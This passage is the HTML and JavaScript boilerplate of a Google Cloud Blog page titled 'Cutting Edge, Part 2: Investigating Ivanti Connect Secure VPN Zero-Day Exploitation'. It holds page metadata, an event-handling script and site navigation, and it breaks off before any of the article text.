k=a.m[c]||[];k.push(b);a.m[c]=k}a.o.addEventListener(c,function(h){return function(f){d(b,f,h)}},void 0)}}p.prototype.j=function(a){return this.l[a]};p.prototype.ecrd=function(a){this.i=a;var b;if((b=this.g)==null?0:b.length){for(a=0;a<this.g.length;a++)q(this,this.g[a]);this.g=null}};var t=typeof navigator!=="undefined"&&/iPhone|iPad|iPod/.test(navigator.userAgent);function u(a){this.g=a;this.i=[]}u.prototype.addEventListener=function(a,b,c){t&&(this.g.style.cursor="pointer");var d=this.i,k=d.push,h=this.g;b=b(this.g);var f=!1;m.indexOf(a)>=0&&(f=!0);h.addEventListener(a,b,typeof c==="boolean"?{capture:f,passive:c}:f);k.call(d,{eventType:a,j:b,capture:f,passive:c})};var g="click dblclick focus focusin blur error focusout keydown keyup keypress load mouseover mouseout mouseenter mouseleave submit toggle touchstart touchend touchmove touchcancel auxclick change compositionstart compositionupdate compositionend beforeinput input select textinput copy cut paste mousedown mouseup wheel contextmenu dragover dragenter dragleave drop dragstart dragend pointerdown pointermove pointerup pointercancel pointerenter pointerleave pointerover pointerout gotpointercapture lostpointercapture ended loadedmetadata pagehide pageshow visibilitychange beforematch".split(" "); if(!(g instanceof Array)){var v;var w=typeof Symbol!="undefined"&&Symbol.iterator&&g[Symbol.iterator];if(w)v=w.call(g);else if(typeof g.length=="number")v={next:e()};else throw Error(String(g)+" is not an iterable or ArrayLike");for(var x,y=[];!(x=v.next()).done;)y.push(x.value)};var z=function(a){return{trigger:function(b){var c=a.j(b.type);c||(r(a,b.type),c=a.j(b.type));var d=b.target||b.srcElement;c&&c(b.type,b,d.ownerDocument.documentElement)},configure:function(b){b(a)}}}(function(){var a=window,b=new u(a.document.documentElement),c=new p(b);g.forEach(function(h){return r(c,h)});var d,k;"onwebkitanimationend"in a&&(d="webkitAnimationEnd");r(c,"animationend",d);"onwebkittransitionend"in a&&(k="webkitTransitionEnd");r(c,"transitionend",k);return{s:c,u:b}}().s),A=["BOQ_wizbind"], C=window||l;A[0]in C||typeof C.execScript=="undefined"||C.execScript("var "+A[0]);for(var D;A.length&&(D=A.shift());)A.length||z===void 0?C[D]&&C[D]!==Object.prototype[D]?C=C[D]:C=C[D]={}:C[D]=z;}).call(this); </script><script noCollect src="https://www.gstatic.com/_/mss/boq-cloudx-web-blog/_/js/k=boq-cloudx-web-blog.TransformBlogUi.en_US.WhPEoRbuizc.es5.O/am=MBgwCw/d=1/excm=_b,_tp,articleview/ed=1/dg=0/wt=2/ujg=1/rs=AHrnUqU8jD3kq6gF-L2kYfRbykHY3Ay6lA/m=_b,_tp" defer id="base-js" fetchpriority="high" nonce="Lh9XRrNZbyI2TSQR0nTTVQ"></script><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ">if (window.BOQ_loadedInitialJS) {onJsLoad();} else {document.getElementById('base-js').addEventListener('load', onJsLoad, false);}</script><script nonce="Lh9XRrNZbyI2TSQR0nTTVQ"> window['_wjdc'] = function (d) {window['_wjdd'] = d}; </script><title>Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Google Cloud Blog</title><meta name="description" content="Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances."><meta name="robots" content="max-image-preview:large"><meta property="og:title" content="Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Google Cloud Blog"><meta property="og:type" content="website"><meta property="og:url" content="https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation"><meta property="og:image" content="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png"><meta property="og:description" content="Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances."><meta property="og:site_name" content="Google Cloud Blog"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:url" content="https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation"><meta name="twitter:title" content="Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation | Google Cloud Blog"><meta name="twitter:description" content="Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances."><meta name="twitter:image" content="https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png"><meta name="twitter:site" content="@googlecloud"><script type="application/ld+json">{"@context":"https://schema.org","@type":"BlogPosting","@id":"https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation","headline":"Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation","description":"Investigating broad zero-day exploitation of two high-impact vulnerabilities affecting Ivanti appliances.","image":"https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplif.max-2600x2600.png","author":[{"@type":"Person","name":"Mandiant ","url":""}],"datePublished":"2024-01-31","publisher":{"@type":"Organization","name":"Google Cloud","logo":{"@type":"ImageObject","url":"https://www.gstatic.com/devrel-devsite/prod/v8bb8fa0afe9a8c3a776ebeb25d421bb443344d789b3607754dfabea418b8c4be/cloud/images/cloud-logo.svg"}},"url":"https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation","keywords":["Threat Intelligence"],"timeRequired":"PT39M"}</script><link rel="canonical" href="https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-zero-day-exploitation/"><meta name="track-metadata-page_post_title" content="Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation"><meta name="track-metadata-page_post_labels" content="Threat Intelligence"><meta name="track-metadata-page_first_published" content="2024-03-26 05:03:00"><meta name="track-metadata-page_last_published" content="2024-01-31 16:01:00"><meta name="track-metadata-page_post_author" content="Mandiant "><meta name="track-metadata-page_post_author_role" content=""><header jsaction="rcuQ6b:npT2md" jscontroller="o60eef" class="glue-header nRhiJb-tJHJj-OWXEXe-kFx1Ae" id="kO001e"><a href="./#content" class="glue-header__link glue-header__skip-content">Jump to Content</a><div class="glue-header__bar glue-header__bar--mobile DFb9Jf" track-metadata-module="header"><div class="nRhiJb-mb9u9d"><div class="glue-header__container JF2WI"><div class="nRhiJb-o2XRw-yHKmmc lUwpmd"><div class="nRhiJb-rSCjMe"><a class="nRhiJb-rSCjMe-hSRGPd" href="https://cloud.google.com/" title="Google Cloud" track-name="google cloud"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/"track-metadata-module="header"><div class="nRhiJb-rSCjMe-haAclf"><svg class="glue-header__logo-svg" viewBox="0 0 74 24" role="presentation" aria-hidden="true"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"></path><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"></path><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3.52 1.74 0 3.1 1.5 3.1 3.54.01 2.03-1.36 3.5-3.1 3.5z"></path><path fill="#FBBC05" d="M38 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"></path><path fill="#34A853" d="M58 .24h2.51v17.57H58z"></path><path fill="#EA4335" d="M68.26 15.52c-1.3 0-2.22-.59-2.82-1.76l7.77-3.21-.26-.66c-.48-1.3-1.96-3.7-4.97-3.7-2.99 0-5.48 2.35-5.48 5.81 0 3.26 2.46 5.81 5.76 5.81 2.66 0 4.2-1.63 4.84-2.57l-1.98-1.32c-.66.96-1.56 1.6-2.86 1.6zm-.18-7.15c1.03 0 1.91.53 2.2 1.28l-5.25 2.17c0-2.44 1.73-3.45 3.05-3.45z"></path></svg></div><span class="nRhiJb-rSCjMe-OWXEXe-UBMNlb khBwGd">Cloud</span></a></div></div><div class="glue-header__hamburger s6BfRd"><button class="glue-header__drawer-toggle-btn" aria-label="Open the navigation drawer"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"></path></svg></button></div><div class="nRhiJb-o2XRw-yHKmmc UrjqX"><div class="nRhiJb-rSCjMe"><a class="nRhiJb-rSCjMe-hSRGPd" href="https://cloud.google.com/blog" title="Google Cloud Blog" track-name="blog"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog"track-metadata-module="header"><span class="nRhiJb-rSCjMe-OWXEXe-UBMNlb khBwGd">Blog</span></a></div></div></div><div class="glue-header__container ca6rub"><div class="nRhiJb-GUI8l"><a class="nRhiJb-LgbsSe nRhiJb-LgbsSe-OWXEXe-pSzOP-o6Shpd " href="https://cloud.google.com/contact/" track-name="contact sales"track-type="blog nav"track-metadata-eventdetail="cloud.google.com/contact/"track-metadata-module="header" track-name="contact sales"track-type="button"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/contact/">Contact sales </a><a class="nRhiJb-LgbsSe nRhiJb-LgbsSe-OWXEXe-CNusmb-o6Shpd " href="https://console.cloud.google.com/freetrial/" track-name="get started for free"track-type="blog nav"track-metadata-eventdetail="console.cloud.google.com/freetrial/"track-metadata-module="header" track-name="get started for free"track-type="button"track-metadata-position="nav"track-metadata-eventdetail="console.cloud.google.com/freetrial/">Get started for free </a></div><div class="GKI4ub"><div class="Jhiezd"><form action="/blog/search/" class="A2C6Ob"><input class="BAhdXd" jsname="oJAbI" name="query" type="text" placeholder="Find an article..."><input type="hidden" name="language" value=en hidden><input type="hidden" name="category" value=article hidden><input type="hidden" name="paginate" value="25" hidden><input type="hidden" name="order" value="newest" hidden><input type="hidden" name="hl" value=en hidden><span class="A0lwXc" jsname="D8MWrd" aria-label="Show the search input field." role="button" jsaction="click:jUF4E"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-xgZe3c" viewBox="0 0 24 24" role="presentation" aria-hidden="true" width="40" height="22"><path d="M20.49 19l-5.73-5.73C15.53 12.2 16 10.91 16 9.5A6.5 6.5 0 1 0 9.5 16c1.41 0 2.7-.47 3.77-1.24L19 20.49 20.49 19zM5 9.5C5 7.01 7.01 5 9.5 5S14 7.01 14 9.5 11.99 14 9.5 14 5 11.99 5 9.5z"></path></svg></span></form></div></div></div></div></div><div class="glue-header__bar glue-header__bar--desktop glue-header__drawer YcctDe" track-metadata-module="header"><div class="nRhiJb-mb9u9d M7RUq"><div class="glue-header__container JF2WI"><div class="nRhiJb-o2XRw-yHKmmc lUwpmd"><div class="nRhiJb-rSCjMe"><a class="nRhiJb-rSCjMe-hSRGPd" href="https://cloud.google.com/" title="Google Cloud" track-name="google cloud"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/"track-metadata-module="header"><div class="nRhiJb-rSCjMe-haAclf"><svg class="glue-header__logo-svg" viewBox="0 0 74 24" role="presentation" aria-hidden="true"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"></path><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"></path><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3.52 1.74 0 3.1 1.5 3.1 3.54.01 2.03-1.36 3.5-3.1 3.5z"></path><path fill="#FBBC05" d="M38 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"></path><path fill="#34A853" d="M58 .24h2.51v17.57H58z"></path><path fill="#EA4335" d="M68.26 15.52c-1.3 0-2.22-.59-2.82-1.76l7.77-3.21-.26-.66c-.48-1.3-1.96-3.7-4.97-3.7-2.99 0-5.48 2.35-5.48 5.81 0 3.26 2.46 5.81 5.76 5.81 2.66 0 4.2-1.63 4.84-2.57l-1.98-1.32c-.66.96-1.56 1.6-2.86 1.6zm-.18-7.15c1.03 0 1.91.53 2.2 1.28l-5.25 2.17c0-2.44 1.73-3.45 3.05-3.45z"></path></svg></div><span class="nRhiJb-rSCjMe-OWXEXe-UBMNlb khBwGd">Cloud</span></a></div></div><div class="nRhiJb-o2XRw-yHKmmc UrjqX"><div class="nRhiJb-rSCjMe"><a class="nRhiJb-rSCjMe-hSRGPd" href="https://cloud.google.com/blog" title="Google Cloud Blog" track-name="blog"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog"track-metadata-module="header"><span class="nRhiJb-rSCjMe-OWXEXe-UBMNlb khBwGd">Blog</span></a></div></div></div><div class="glue-header__container glue-header__stepped-nav LKvi8b" role="navigation"><div class="glue-header__stepped-nav-controls-container"><div class="glue-header__stepped-nav-controls"><div class="glue-header__stepped-nav-controls-arrow"><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M16.41 5.41L15 4l-8 8 8 8 1.41-1.41L9.83 12"></path></svg><svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G glue-header__stepped-nav-subnav-icon" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M7.59 18.59L9 20l8-8-8-8-1.41 1.41L14.17 12"></path></svg></div><div class="glue-header__stepped-nav-controls-title glue-header__link"></div></div></div><div class="glue-header__stepped-nav-menus"></div></div><div class="glue-header__container nRhiJb-J6KYL-OWXEXe-Q4irje"><nav class="glue-header__link-bar"><ul class="glue-header__list glue-header__list--nested glue-header__deep-nav URiJfb"><li class="glue-header__item "><a class="glue-header__link">Solutions & technology<svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M5.41 7.59L4 9l8 8 8-8-1.41-1.41L12 14.17"></path></svg></a><ul class="glue-header__list NDdrcc"><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/ai-machine-learning" track-name="ai & machine learning"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/ai-machine-learning"track-metadata-module="header"><span>AI & Machine Learning</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/api-management" track-name="api management"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/api-management"track-metadata-module="header"><span>API Management</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/application-development" track-name="application development"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/application-development"track-metadata-module="header"><span>Application Development</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/application-modernization" track-name="application modernization"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/application-modernization"track-metadata-module="header"><span>Application Modernization</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/chrome-enterprise" track-name="chrome enterprise"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/chrome-enterprise"track-metadata-module="header"><span>Chrome Enterprise</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/compute" track-name="compute"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/compute"track-metadata-module="header"><span>Compute</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/containers-kubernetes" track-name="containers & kubernetes"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/containers-kubernetes"track-metadata-module="header"><span>Containers & Kubernetes</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/data-analytics" track-name="data analytics"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/data-analytics"track-metadata-module="header"><span>Data Analytics</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/databases" track-name="databases"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/databases"track-metadata-module="header"><span>Databases</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/devops-sre" track-name="devops & sre"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/devops-sre"track-metadata-module="header"><span>DevOps & SRE</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/maps-geospatial" track-name="maps & geospatial"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/maps-geospatial"track-metadata-module="header"><span>Maps & Geospatial</span></a></li><li class="glue-header__item "><a class="glue-header__link janap">Security<svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M7.59 18.59L9 20l8-8-8-8-1.41 1.41L14.17 12"></path></svg></a><ul class="glue-header__list NDdrcc"><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/identity-security" track-name="security & identity"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/identity-security"track-metadata-module="header"><span>Security & Identity</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/threat-intelligence" track-name="threat intelligence"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/threat-intelligence"track-metadata-module="header"><span>Threat Intelligence</span></a></li></ul></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/infrastructure" track-name="infrastructure"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/infrastructure"track-metadata-module="header"><span>Infrastructure</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/infrastructure-modernization" track-name="infrastructure modernization"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/infrastructure-modernization"track-metadata-module="header"><span>Infrastructure Modernization</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/networking" track-name="networking"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/networking"track-metadata-module="header"><span>Networking</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/productivity-collaboration" track-name="productivity & collaboration"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/productivity-collaboration"track-metadata-module="header"><span>Productivity & Collaboration</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/sap-google-cloud" track-name="sap on google cloud"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/sap-google-cloud"track-metadata-module="header"><span>SAP on Google Cloud</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/storage-data-transfer" track-name="storage & data transfer"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/storage-data-transfer"track-metadata-module="header"><span>Storage & Data Transfer</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/sustainability" track-name="sustainability"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/sustainability"track-metadata-module="header"><span>Sustainability</span></a></li></ul></li><li class="glue-header__item "><a class="glue-header__link">Ecosystem<svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M5.41 7.59L4 9l8 8 8-8-1.41-1.41L12 14.17"></path></svg></a><ul class="glue-header__list NDdrcc"><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/transform" track-name="it leaders"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/transform"track-metadata-module="header"><span>IT Leaders</span></a></li><li class="glue-header__item "><a class="glue-header__link janap">Industries<svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="M7.59 18.59L9 20l8-8-8-8-1.41 1.41L14.17 12"></path></svg></a><ul class="glue-header__list NDdrcc"><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/financial-services" track-name="financial services"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/financial-services"track-metadata-module="header"><span>Financial Services</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/healthcare-life-sciences" track-name="healthcare & life sciences"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/healthcare-life-sciences"track-metadata-module="header"><span>Healthcare & Life Sciences</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/manufacturing" track-name="manufacturing"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/manufacturing"track-metadata-module="header"><span>Manufacturing</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/products/media-entertainment" track-name="media & entertainment"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/products/media-entertainment"track-metadata-module="header"><span>Media & Entertainment</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/public-sector" track-name="public sector"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/public-sector"track-metadata-module="header"><span>Public Sector</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/retail" track-name="retail"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/retail"track-metadata-module="header"><span>Retail</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/supply-chain-logistics" track-name="supply chain"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/supply-chain-logistics"track-metadata-module="header"><span>Supply Chain</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/telecommunications" track-name="telecommunications"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/telecommunications"track-metadata-module="header"><span>Telecommunications</span></a></li></ul></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/partners" track-name="partners"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/partners"track-metadata-module="header"><span>Partners</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/startups" track-name="startups & smb"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/startups"track-metadata-module="header"><span>Startups & SMB</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/training-certifications" track-name="training & certifications"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/training-certifications"track-metadata-module="header"><span>Training & Certifications</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/inside-google-cloud" track-name="inside google cloud"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/inside-google-cloud"track-metadata-module="header"><span>Inside Google Cloud</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://cloud.google.com/blog/topics/google-cloud-next" track-name="google cloud next & events"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/google-cloud-next"track-metadata-module="header"><span>Google Cloud Next & Events</span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://mapsplatform.google.com/resources/blog/" track-name="google maps platform"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="mapsplatform.google.com/resources/blog/"track-metadata-module="header" target="_blank"><span>Google Maps Platform<svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G FsOzib nRhiJb-tHaKme-AipIyc" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="m8.9 16.075 5.4-5.4v2.675h1.4V8.3h-5.05v1.4h2.65l-5.375 5.375ZM12 21.3q-1.925 0-3.625-.738-1.7-.737-2.95-1.987-1.25-1.25-1.987-2.95Q2.7 13.925 2.7 12t.738-3.625q.737-1.7 1.987-2.95 1.25-1.25 2.95-1.988Q10.075 2.7 12 2.7t3.625.737q1.7.738 2.95 1.988 1.25 1.25 1.987 2.95.738 1.7.738 3.625t-.738 3.625q-.737 1.7-1.987 2.95-1.25 1.25-2.95 1.987-1.7.738-3.625.738Z"></path></svg></span></a></li><li class="glue-header__item "><a class="glue-header__link janap " href="https://workspace.google.com/blog" track-name="google workspace"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="workspace.google.com/blog"track-metadata-module="header" target="_blank"><span>Google Workspace<svg class="nRhiJb-Bz112c nRhiJb-Bz112c-OWXEXe-SFi8G FsOzib nRhiJb-tHaKme-AipIyc" viewBox="0 0 24 24" role="presentation" aria-hidden="true"><path d="m8.9 16.075 5.4-5.4v2.675h1.4V8.3h-5.05v1.4h2.65l-5.375 5.375ZM12 21.3q-1.925 0-3.625-.738-1.7-.737-2.95-1.987-1.25-1.25-1.987-2.95Q2.7 13.925 2.7 12t.738-3.625q.737-1.7 1.987-2.95 1.25-1.25 2.95-1.988Q10.075 2.7 12 2.7t3.625.737q1.7.738 2.95 1.988 1.25 1.25 1.987 2.95.738 1.7.738 3.625t-.738 3.625q-.737 1.7-1.987 2.95-1.25 1.25-2.95 1.987-1.7.738-3.625.738Z"></path></svg></span></a></li></ul></li><li class="glue-header__item "><a class="glue-header__link " href="https://cloud.google.com/blog/topics/developers-practitioners" track-name="developers & practitioners"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/blog/topics/developers-practitioners"track-metadata-module="header"><span>Developers & Practitioners</span></a></li><li class="glue-header__item "><a class="glue-header__link " href="https://cloud.google.com/transform" track-name="transform with google cloud"track-type="blog nav"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/transform"track-metadata-module="header"><span>Transform with Google Cloud</span></a></li></ul></nav></div><div class="glue-header__container ca6rub nRhiJb-J6KYL-OWXEXe-SU0ZEf"><div class="nRhiJb-GUI8l"><a class="nRhiJb-LgbsSe nRhiJb-LgbsSe-OWXEXe-pSzOP-o6Shpd " href="https://cloud.google.com/contact/" track-name="contact sales"track-type="blog nav"track-metadata-eventdetail="cloud.google.com/contact/"track-metadata-module="header" track-name="contact sales"track-type="button"track-metadata-position="nav"track-metadata-eventdetail="cloud.google.com/contact/">Contact sales </a><a 